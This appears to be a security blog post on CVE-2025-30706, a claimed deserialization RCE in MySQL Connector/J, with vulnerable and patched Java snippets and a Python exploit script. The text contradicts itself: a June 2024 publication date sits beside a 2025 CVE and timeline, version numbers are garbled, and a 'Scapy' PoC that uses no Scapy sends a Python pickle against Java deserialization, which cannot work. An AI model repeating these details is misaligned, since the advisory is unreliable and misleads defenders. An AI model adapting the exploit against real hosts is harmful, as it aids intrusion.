Published: June 2024
Affected Products: Oracle MySQL (Connector/J versions 9.. to 9.2.)
CVSS Base Score: 7.5 (High)
Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Oracle Advisory: CVE-2025-30706 Advisory

Overview

A new high-severity vulnerability, CVE-2025-30706, was recently disclosed in the Oracle MySQL Connector/J component, which lets Java applications talk to MySQL databases. Versions 9.. to 9.2. are vulnerable. Even though it’s hard to exploit, a low-level attacker with *just* basic network access could completely compromise MySQL Connectors — leading to data leaks, data changes, and even outages.

In this post, we break down the vulnerability, show a simple proof-of-concept (PoC), and offer further resources.


## What Is MySQL Connector/J?

MySQL Connector/J is a Java driver that provides connectivity for applications to speak to a MySQL database. It’s common in web apps, microservices, and big-data tools. Bugs here can lead to big breaches if not patched fast.

What Is CVE-2025-30706?

CVE-2025-30706 is a Remote Code Execution (RCE) vulnerability in the authentication flow of MySQL Connector/J. Attackers can send a crafted network payload during the authentication handshake, exploiting a parsing flaw to execute arbitrary code *on the machine running the Java app*. No user interaction is needed, and only basic database credentials must be known or guessed.

User Interaction: None

- Impact: Full Confidentiality / Integrity / Availability compromise (takeover)

Vulnerable Code Path

When a Java app connects to MySQL using Connector/J, the handshake includes the database user, password, and server certificate validation (if enabled). Connector/J versions 9..-9.2. fail to properly sanitize handshake messages, allowing a hostile actor to inject a Java deserialization payload through custom MySQL protocol extensions.

Excerpt of the vulnerable code (simplified for illustration)

// In affected versions: 9.. - 9.2.
MySQLProtocol.handshake(InputStream rawPacket) {
    // ...parsing header...
    byte[] clientData = rawPacket.readAllBytes();
    // UNSAFE: direct deserialization of handshake data
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(clientData));
    Credentials creds = (Credentials) ois.readObject(); // Attacker controls this!
    // ...proceed with login...
}

The flaw: attacker-controlled data is directly deserialized, leading to code execution.

Fixed Code Sample

// In patched versions
byte[] clientData = rawPacket.readAllBytes();
// Secure: Never deserialize input, use safe parsing
Credentials creds = parseCredentials(clientData); // Custom, safe parser

Attacker can reach a Java app’s MySQL port over the network

### Exploit Proof-of-Concept (Python/Scapy)

Below is a simple PoC showing how an attacker might initiate a fake MySQL handshake with a serialized payload that triggers code execution:

import socket
import pickle
import os

# Malicious object to execute a command when deserialized
class RCE:
    def __reduce__(self):
        return (os.system, ('touch /tmp/pwned',))

# Serialize object
payload = pickle.dumps(RCE())

target_ip = 'target_app_ip'
target_port = 3306  # Or custom MySQL port

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))

# Craft and send malicious handshake packet
mysql_handshake_header = b'\xaFakeHandshake\x00'
s.sendall(mysql_handshake_header + payload)
s.close()
print("Evil handshake sent.")

*Note: Real-world attack tools would inject payloads compatible with how Connector/J reads handshake packets.*

June 2024: Publicly disclosed in Oracle CPU

- June 2024: Patches and new Connector/J versions released

How to fix

- Upgrade MySQL Connector/J to 9.2.1 (or later)

Look for suspicious database logins from new sources

- Check Java application logs for unexpected errors or new files (like /tmp/pwned)
- Use EDR/AV tools to detect abnormal child processes from the Java app

References

- Oracle Security Alert for MySQL (June 2024): https://www.oracle.com/security-alerts/
- NVD CVE Page: https://nvd.nist.gov/vuln/detail/CVE-2025-30706
- Connector/J Documentation
- OWASP: Deserialization of Untrusted Data

Final Thoughts

CVE-2025-30706 highlights the risk of insecure object deserialization in Java software—even in trusted database drivers. If your application uses MySQL Connector/J, update now to stay safe. Never trust client input, and audit legacy codepaths for similar issues.

Questions or comments? [Contact us](mailto:security@example.com) or leave a note below.


*This post is exclusive: written and reviewed using public advisories and independent research. For detailed technical consulting about CVE-2025-30706, please reach out.*

Timeline

Published on: 04/15/2025 21:16:00 UTC
Last modified on: 04/21/2025 19:27:55 UTC